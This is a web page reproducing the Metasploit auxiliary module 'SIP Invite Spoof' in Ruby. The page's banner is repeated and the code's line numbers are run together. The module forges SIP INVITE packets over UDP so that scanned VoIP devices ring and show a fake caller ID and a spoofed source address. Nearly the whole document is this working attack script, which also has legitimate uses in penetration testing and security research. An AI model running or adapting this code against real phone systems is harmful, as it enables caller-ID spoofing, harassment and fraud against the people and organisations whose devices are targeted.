Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/voip/sip_invite_spoof.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Scanner89def initialize10super(11'Name' => 'SIP Invite Spoof',12'Description' => %q{13This module will create a fake SIP invite request making the targeted device ring14and display fake caller id information.15},16'Author' =>17[18'David Maynor <dave[at]erratasec.com>', # original module19'ChrisJohnRiley' # modifications20],21'License' => MSF_LICENSE22)2324deregister_udp_options25register_options(26[27Opt::RPORT(5060),28OptString.new('SRCADDR', [true, "The sip address the spoofed call is coming from",'192.168.1.1']),29OptString.new('MSG', [true, "The spoofed caller id to send","The Metasploit has you"]),30OptString.new('EXTENSION', [false, "The specific extension or name to target", nil]),31OptString.new('DOMAIN', [false, "Use a specific SIP domain", nil])32])33register_advanced_options(34[35OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]),36OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060])37])38end394041def run_host(ip)4243begin4445name = datastore['MSG']46src = datastore['SRCADDR']47ext = datastore['EXTENSION']48dom = datastore['DOMAIN']49sphost = datastore['SIP_PROXY_NAME']50spport = datastore['SIP_PROXY_PORT'] || 506051conn_string = ''5253if not ext.nil? and not ext.empty?54# set extension name/number55conn_string = "#{ext}@"56end5758if not dom.nil? and not dom.empty?59# set domain60conn_string << "#{dom}"61else62conn_string << "#{ip}"63end6465# set Route header if SIP_PROXY is set66if not sphost.nil? and not sphost.empty?67route = "Route: <sip:#{sphost}:#{spport};lr>\r\n"68end6970connect_udp7172print_status("Sending Fake SIP Invite to: #{conn_string}")73print_status("Using SIP proxy #{sphost}:#{spport}") if route7475req = "INVITE sip:#{conn_string} SIP/2.0" + "\r\n"76# add Route: header to req if SIP_PROXY is set77req << route if route78req << "To: <sip:#{conn_string}>" + "\r\n"79req << "Via: SIP/2.0/UDP #{ip}" + "\r\n"80req << "From: \"#{name}\"<sip:#{src}>" + "\r\n"81req << "Call-ID: #{(rand(100)+100)}#{ip}" + "\r\n"82req << "CSeq: 1 INVITE" + "\r\n"83req << "Max-Forwards: 20" + "\r\n"84req << "Contact: <sip:#{conn_string}>" + "\r\n\r\n"8586udp_sock.put(req)87disconnect_udp8889rescue Errno::EACCES90end9192end93end949596